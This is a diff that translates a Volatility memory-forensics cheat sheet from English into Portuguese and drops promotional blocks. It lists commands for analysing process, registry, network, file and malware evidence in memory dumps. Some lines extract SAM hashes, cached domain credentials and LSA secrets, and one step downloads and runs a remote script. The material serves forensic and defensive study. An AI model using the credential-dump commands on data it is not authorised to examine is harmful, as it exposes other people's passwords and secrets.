 ### volatility2
 
 {{#tabs}}
 {{#tab name="Method1"}}
-
 ```
 Download the executable from https://www.volatilityfoundation.org/26
 ```
-
 {{#endtab}}
 
-{{#tab name="Method 2"}}
-
+{{#tab name="Método 2"}}
 ```bash
 git clone https://github.com/volatilityfoundation/volatility.git
 cd volatility
 python setup.py install
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-## Volatility Commands
+## Comandos do Volatility
 
-Access the official doc in [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)
+Acesse a documentação oficial em [Volatility command reference](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)
 
-### A note on “list” vs. “scan” plugins
+### Uma nota sobre plugins “list” vs. “scan”
 
-Volatility has two main approaches to plugins, which are sometimes reflected in their names. “list” plugins will try to navigate through Windows Kernel structures to retrieve information like processes (locate and walk the linked list of `_EPROCESS` structures in memory), OS handles (locating and listing the handle table, dereferencing any pointers found, etc). They more or less behave like the Windows API would if requested to, for example, list processes.
+O Volatility tem duas abordagens principais para plugins, que às vezes são refletidas em seus nomes. Plugins “list” tentarão navegar pelas estruturas do Kernel do Windows para recuperar informações como processos (localizar e percorrer a lista encadeada de estruturas `_EPROCESS` na memória), handles do SO (localizando e listando a tabela de handles, desreferenciando quaisquer ponteiros encontrados, etc). Eles se comportam mais ou menos como a API do Windows se solicitada a, por exemplo, listar processos.
 
-That makes “list” plugins pretty fast, but just as vulnerable as the Windows API to manipulation by malware. For instance, if malware uses DKOM to unlink a process from the `_EPROCESS` linked list, it won’t show up in the Task Manager and neither will it in the pslist.
+Isso torna os plugins “list” bastante rápidos, mas tão vulneráveis quanto a API do Windows a manipulações por malware. Por exemplo, se um malware usar DKOM para desvincular um processo da lista encadeada `_EPROCESS`, ele não aparecerá no Gerenciador de Tarefas e nem no pslist.
 
-“scan” plugins, on the other hand, will take an approach similar to carving the memory for things that might make sense when dereferenced as specific structures. `psscan` for instance will read the memory and try to make`_EPROCESS` objects out of it (it uses pool-tag scanning, which is searching for 4-byte strings that indicate the presence of a structure of interest). The advantage is that it can dig up processes that have exited, and even if malware tampers with the `_EPROCESS` linked list, the plugin will still find the structure lying around in memory (since it still needs to exist for the process to run). The downfall is that “scan” plugins are a bit slower than “list” plugins, and can sometimes yield false positives (a process that exited too long ago and had parts of its structure overwritten by other operations).
+Os plugins “scan”, por outro lado, adotarão uma abordagem semelhante à escultura da memória para coisas que podem fazer sentido quando desreferenciadas como estruturas específicas. O `psscan`, por exemplo, lerá a memória e tentará criar objetos `_EPROCESS` a partir dela (usa a varredura de pool-tag, que busca por strings de 4 bytes que indicam a presença de uma estrutura de interesse). A vantagem é que ele pode encontrar processos que já saíram, e mesmo que o malware interfira na lista encadeada `_EPROCESS`, o plugin ainda encontrará a estrutura presente na memória (já que ela ainda precisa existir para o processo ser executado). A desvantagem é que os plugins “scan” são um pouco mais lentos que os plugins “list” e podem, às vezes, gerar falsos positivos (um processo que saiu há muito tempo e teve partes de sua estrutura sobrescritas por outras operações).
 
-From: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
+De: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
 
-## OS Profiles
+## Perfis do SO
 
 ### Volatility3
 
-As explained inside the readme you need to put the **symbol table of the OS** you want to support inside _volatility3/volatility/symbols_.\
-Symbol table packs for the various operating systems are available for **download** at:
+Conforme explicado no readme, você precisa colocar a **tabela de símbolos do SO** que deseja suportar dentro de _volatility3/volatility/symbols_.\
+Pacotes de tabela de símbolos para os vários sistemas operacionais estão disponíveis para **download** em:
 
 - [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip)
 - [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip)
@@ -89,16 +75,13 @@ Symbol table packs for the various operating systems are available for **downloa
 
 ### Volatility2
 
-#### External Profile
-
-You can get the list of supported profiles doing:
+#### Perfil Externo
 
+Você pode obter a lista de perfis suportados fazendo:
 ```bash
 ./volatility_2.6_lin64_standalone --info | grep "Profile"
 ```
-
-If you want to use a **new profile you have downloaded** (for example a linux one) you need to create somewhere the following folder structure: _plugins/overlays/linux_ and put inside this folder the zip file containing the profile. Then, get the number of the profiles using:
-
+Se você quiser usar um **novo perfil que você baixou** (por exemplo, um de linux), você precisa criar em algum lugar a seguinte estrutura de pastas: _plugins/overlays/linux_ e colocar dentro dessa pasta o arquivo zip contendo o perfil. Em seguida, obtenha o número dos perfis usando:
 ```bash
 ./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info
 Volatility Foundation Volatility Framework 2.6
@@ -110,28 +93,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10
 VistaSP0x64                                   - A Profile for Windows Vista SP0 x64
 VistaSP0x86                                   - A Profile for Windows Vista SP0 x86
 ```
+Você pode **baixar perfis do Linux e Mac** de [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)
 
-You can **download Linux and Mac profiles** from [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)
-
-In the previous chunk you can see that the profile is called `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, and you can use it to execute something like:
-
+No trecho anterior, você pode ver que o perfil é chamado `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, e você pode usá-lo para executar algo como:
 ```bash
 ./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan
 ```
-
-#### Discover Profile
-
+#### Descobrir Perfil
 ```
 volatility imageinfo -f file.dmp
 volatility kdbgscan -f file.dmp
 ```
+#### **Diferenças entre imageinfo e kdbgscan**
 
-#### **Differences between imageinfo and kdbgscan**
-
-[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from .
-
-Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed)
+[**Daqui**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): Ao contrário do imageinfo, que simplesmente fornece sugestões de perfil, **kdbgscan** é projetado para identificar positivamente o perfil correto e o endereço KDBG correto (se houver múltiplos). Este plugin escaneia as assinaturas KDBGHeader vinculadas aos perfis do Volatility e aplica verificações de sanidade para reduzir falsos positivos. A verbosidade da saída e o número de verificações de sanidade que podem ser realizadas dependem de o Volatility conseguir encontrar um DTB, então, se você já conhece o perfil correto (ou se você tem uma sugestão de perfil do imageinfo), certifique-se de usá-lo.
 
+Sempre verifique o **número de processos que o kdbgscan encontrou**. Às vezes, imageinfo e kdbgscan podem encontrar **mais de um** **perfil** adequado, mas apenas o **válido terá algum processo relacionado** (Isso ocorre porque para extrair processos o endereço KDBG correto é necessário).
 ```bash
 # GOOD
 PsActiveProcessHead           : 0xfffff800011977f0 (37 processes)
@@ -143,89 +120,68 @@ PsLoadedModuleList            : 0xfffff8000119aae0 (116 modules)
 PsActiveProcessHead           : 0xfffff800011947f0 (0 processes)
 PsLoadedModuleList            : 0xfffff80001197ac0 (0 modules)
 ```
-
 #### KDBG
 
-The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis.
-
-## OS Information
+O **bloco de depuração do kernel**, referido como **KDBG** pelo Volatility, é crucial para tarefas forenses realizadas pelo Volatility e vários depuradores. Identificado como `KdDebuggerDataBlock` e do tipo `_KDDEBUGGER_DATA64`, contém referências essenciais como `PsActiveProcessHead`. Esta referência específica aponta para o início da lista de processos, permitindo a listagem de todos os processos, o que é fundamental para uma análise completa da memória.
 
+## Informações do SO
 ```bash
 #vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info)
 ./vol.py -f file.dmp windows.info.Info
 ```
+O plugin `banners.Banners` pode ser usado no **vol3 para tentar encontrar banners linux** no dump.
 
-The plugin `banners.Banners` can be used in **vol3 to try to find linux banners** in the dump.
+## Hashes/Senhas
 
-## Hashes/Passwords
-
-Extract SAM hashes, [domain cached credentials](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) and [lsa secrets](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets).
+Extraia hashes SAM, [credenciais em cache de domínio](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) e [segredos lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets).
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.hashdump.Hashdump #Grab common windows hashes (SAM+SYSTEM)
 ./vol.py -f file.dmp windows.cachedump.Cachedump #Grab domain cache hashes inside the registry
 ./vol.py -f file.dmp windows.lsadump.Lsadump #Grab lsa secrets
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 hashdump -f file.dmp #Grab common windows hashes (SAM+SYSTEM)
 volatility --profile=Win7SP1x86_23418 cachedump -f file.dmp #Grab domain cache hashes inside the registry
 volatility --profile=Win7SP1x86_23418 lsadump -f file.dmp #Grab lsa secrets
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-## Memory Dump
-
-The memory dump of a process will **extract everything** of the current status of the process. The **procdump** module will only **extract** the **code**.
+## Dump de Memória
 
+O dump de memória de um processo irá **extrair tudo** do estado atual do processo. O módulo **procdump** irá apenas **extrair** o **código**.
 ```
 volatility -f file.dmp --profile=Win7SP1x86 memdump -p 2168 -D conhost/
 ```
+## Processos
 
-​
+### Listar processos
 
-

-
-​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
-## Processes
-
-### List processes
-
-Try to find **suspicious** processes (by name) or **unexpected** child **processes** (for example a cmd.exe as a child of iexplorer.exe).\
-It could be interesting to **compare** the result of pslist with the one of psscan to identify hidden processes.
+Tente encontrar processos **suspeitos** (pelo nome) ou **inesperados** processos **filhos** (por exemplo, um cmd.exe como filho de iexplorer.exe).\
+Pode ser interessante **comparar** o resultado do pslist com o do psscan para identificar processos ocultos.
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 python3 vol.py -f file.dmp windows.pstree.PsTree # Get processes tree (not hidden)
 python3 vol.py -f file.dmp windows.pslist.PsList # Get process list (EPROCESS)
 python3 vol.py -f file.dmp windows.psscan.PsScan # Get hidden process list(malware)
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden)
 volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS)
 volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware)
 volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
@@ -233,144 +189,120 @@ volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid  #Dump the .exe and dlls of the process in the current directory
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-### Command line
+### Linha de comando
 
-Anything suspicious was executed?
+Algo suspeito foi executado?
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments
 volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted.
+Os comandos executados no `cmd.exe` são gerenciados pelo **`conhost.exe`** (ou `csrss.exe` em sistemas anteriores ao Windows 7). Isso significa que, se **`cmd.exe`** for encerrado por um atacante antes que um dump de memória seja obtido, ainda é possível recuperar o histórico de comandos da sessão a partir da memória do **`conhost.exe`**. Para fazer isso, se uma atividade incomum for detectada dentro dos módulos do console, a memória do processo associado **`conhost.exe`** deve ser despejada. Em seguida, ao procurar por **strings** dentro desse dump, linhas de comando usadas na sessão podem potencialmente ser extraídas.
 
-### Environment
+### Ambiente
 
-Get the env variables of each running process. There could be some interesting values.
+Obtenha as variáveis de ambiente de cada processo em execução. Pode haver alguns valores interessantes.
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 python3 vol.py -f file.dmp windows.envars.Envars [--pid ] #Display process environment variables
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=PROFILE envars -f file.dmp [--pid ] #Display process environment variables
 
 volatility --profile=PROFILE -f file.dmp linux_psenv [-p ] #Get env of process. runlevel var means the runlevel where the proc is initated
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-### Token privileges
+### Privilégios de token
 
-Check for privileges tokens in unexpected services.\
-It could be interesting to list the processes using some privileged token.
+Verifique os tokens de privilégios em serviços inesperados.\
+Pode ser interessante listar os processos que usam algum token privilegiado.
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 #Get enabled privileges of some processes
 python3 vol.py -f file.dmp windows.privileges.Privs [--pid ]
 #Get all processes with interesting privileges
 python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege"
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 #Get enabled privileges of some processes
 volatility --profile=Win7SP1x86_23418 privs --pid=3152 -f file.dmp | grep Enabled
 #Get all processes with interesting privileges
 volatility --profile=Win7SP1x86_23418 privs -f file.dmp | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege"
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 ### SIDs
 
-Check each SSID owned by a process.\
-It could be interesting to list the processes using a privileges SID (and the processes using some service SID).
+Verifique cada SSID pertencente a um processo.\
+Pode ser interessante listar os processos que utilizam um SID de privilégios (e os processos que utilizam algum SID de serviço).
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.getsids.GetSIDs [--pid ] #Get SIDs of processes
 ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 getsids -f file.dmp #Get the SID owned by each process
 volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp #Get the SID of each service
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 ### Handles
 
-Useful to know to which other files, keys, threads, processes... a **process has a handle** for (has opened)
+Útil saber a quais outros arquivos, chaves, threads, processos... um **processo tem um handle** (aberto) 
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 vol.py -f file.dmp windows.handles.Handles [--pid ]
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=]
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
@@ -378,40 +310,33 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles [--pid=]
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.dlllist.DllList [--pid ] #List dlls used by each
 ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid  #Dump the .exe and dlls of the process in the current directory process
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 dlllist --pid=3152 -f file.dmp #Get dlls of a proc
 volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dmp #Dump dlls of a proc
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-### Strings per processes
+### Strings por processos
 
-Volatility allows us to check which process a string belongs to.
+O Volatility nos permite verificar a qual processo uma string pertence.
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 strings file.dmp > /tmp/strings.txt
 ./vol.py -f /tmp/file.dmp windows.strings.Strings --strings-file /tmp/strings.txt
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 strings file.dmp > /tmp/strings.txt
 volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.txt
@@ -419,99 +344,78 @@ volatility -f /tmp/file.dmp windows.strings.Strings --string-file /tmp/strings.t
 volatility -f /tmp/file.dmp --profile=Win81U1x64 memdump -p 3532 --dump-dir .
 strings 3532.dmp > strings_file
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-It also allows to search for strings inside a process using the yarascan module:
+Ele também permite buscar por strings dentro de um processo usando o módulo yarascan:
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.vadyarascan.VadYaraScan --yara-rules "https://" --pid 3692 3840 3976 3312 3084 2784
 ./vol.py -f file.dmp yarascan.YaraScan --yara-rules "https://"
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3312,3084,2784
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 ### UserAssist
 
-**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run.
+**Windows** mantém um registro dos programas que você executa usando um recurso no registro chamado **UserAssist keys**. Essas chaves registram quantas vezes cada programa é executado e quando foi executado pela última vez.
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.registry.userassist.UserAssist
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```
 volatility --profile=Win7SP1x86_23418 -f file.dmp userassist
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 ​
 
-

 
-​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
-
-{% embed url="https://www.rootedcon.com/" %}
-
-## Services
+## Serviços
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.svcscan.SvcScan #List services
 ./vol.py -f file.dmp windows.getservicesids.GetServiceSIDs #Get the SID of services
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 #Get services and binary path
 volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp
 #Get name of the services and SID (slow)
 volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-## Network
+## Rede
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.netscan.NetScan
 #For network info of linux use volatility2
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 netscan -f file.dmp
 volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only
@@ -526,102 +430,84 @@ volatility --profile=SomeLinux -f file.dmp linux_arp #ARP table
 volatility --profile=SomeLinux -f file.dmp linux_list_raw #Processes using promiscuous raw sockets (comm between processes)
 volatility --profile=SomeLinux -f file.dmp linux_route_cache
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-## Registry hive
+## Registro hive
 
-### Print available hives
+### Imprimir hives disponíveis
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots
 ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots
 volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-### Get a value
+### Obter um valor
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion"
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp
 # Get Run binaries registry value
 volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run'
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 ### Dump
-
 ```bash
 #Dump a hive
 volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset extracted by hivelist
 #Dump all hives
 volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp
 ```
+## Sistema de Arquivos
 
-## Filesystem
-
-### Mount
+### Montar
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 #See vol2
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=SomeLinux -f file.dmp linux_mount
 volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the entire filesystem (if possible)
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-### Scan/dump
+### Escanear/dump
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.filescan.FileScan #Scan for files inside the dump
 ./vol.py -f file.dmp windows.dumpfiles.DumpFiles --physaddr <0xAAAAA> #Offset from previous command
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 filescan -f file.dmp #Scan for files inside the dump
 volatility --profile=Win7SP1x86_23418 dumpfiles -n --dump-dir=/tmp -f file.dmp #Dump all files
@@ -631,60 +517,44 @@ volatility --profile=SomeLinux -f file.dmp linux_enumerate_files
 volatility --profile=SomeLinux -f file.dmp linux_find_file -F /path/to/file
 volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /path/to/dump/file
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-### Master File Table
-
-{{#tabs}}
-{{#tab name="vol3"}}
-
+### Tabela de Arquivos Mestre
 ```bash
 # I couldn't find any plugin to extract this information in volatility3
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table).
+O **sistema de arquivos NTFS** utiliza um componente crítico conhecido como a _tabela de arquivos mestre_ (MFT). Esta tabela inclui pelo menos uma entrada para cada arquivo em um volume, cobrindo também a própria MFT. Detalhes vitais sobre cada arquivo, como **tamanho, carimbos de data/hora, permissões e dados reais**, estão encapsulados dentro das entradas da MFT ou em áreas externas à MFT, mas referenciadas por essas entradas. Mais detalhes podem ser encontrados na [documentação oficial](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table).
 
-### SSL Keys/Certs
+### Chaves/Certificados SSL
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 #vol3 allows to search for certificates inside the registry
 ./vol.py -f file.dmp windows.registry.certificates.Certificates
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 #vol2 allos you to search and dump certificates from memory
 #Interesting options for this modules are: --pid, --name, --ssl
 volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 ## Malware
-
-{{#tabs}}
-{{#tab name="vol3"}}
-
 ```bash
 ./vol.py -f file.dmp windows.malfind.Malfind [--dump] #Find hidden and injected code, [dump each suspicious section]
 #Malfind will search for suspicious structures related to malware
@@ -698,11 +568,9 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp
 ./vol.py -f file.dmp linux.check_modules.Check_modules #Compares module list to sysfs info, if available
 ./vol.py -f file.dmp linux.tty_check.tty_check #Checks tty devices for hooks
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 volatility --profile=Win7SP1x86_23418 -f file.dmp malfind [-D /tmp] #Find hidden and injected code [dump each suspicious section]
 volatility --profile=Win7SP1x86_23418 -f file.dmp apihooks #Detect API hooks in process and kernel memory
@@ -718,18 +586,16 @@ volatility --profile=SomeLinux -f file.dmp linux_check_modules
 volatility --profile=SomeLinux -f file.dmp linux_check_tty
 volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
-### Scanning with yara
+### Escaneando com yara
 
-Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
-Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware.
+Use este script para baixar e mesclar todas as regras de malware yara do github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
+Crie o diretório _**rules**_ e execute-o. Isso criará um arquivo chamado _**malware_rules.yar**_ que contém todas as regras yara para malware.
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
 mkdir rules
@@ -739,71 +605,58 @@ python malware_yara_rules.py
 #All
 ./vol.py -f file.dmp yarascan.YaraScan --yara-file /tmp/malware_rules.yar
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
 wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
 mkdir rules
 python malware_yara_rules.py
 volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | grep "Rule:" | grep -v "Str_Win32" | sort | uniq
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 ## MISC
 
-### External plugins
+### Plugins externos
 
-If you want to use external plugins make sure that the folders related to the plugins are the first parameter used.
+Se você quiser usar plugins externos, certifique-se de que as pastas relacionadas aos plugins sejam o primeiro parâmetro utilizado.
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```bash
 ./vol.py --plugin-dirs "/tmp/plugins/" [...]
 ```
-
 {{#endtab}}
 
 {{#tab name="vol2"}}
-
 ```bash
- volatilitye --plugins="/tmp/plugins/" [...]
+volatilitye --plugins="/tmp/plugins/" [...]
 ```
-
 {{#endtab}}
 {{#endtabs}}
 
 #### Autoruns
 
-Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns)
-
+Baixe em [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns)
 ```
- volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns
+volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns
 ```
-
 ### Mutexes
 
 {{#tabs}}
 {{#tab name="vol3"}}
-
 ```
 ./vol.py -f file.dmp windows.mutantscan.MutantScan
 ```
-
 {{#endtab}}
 
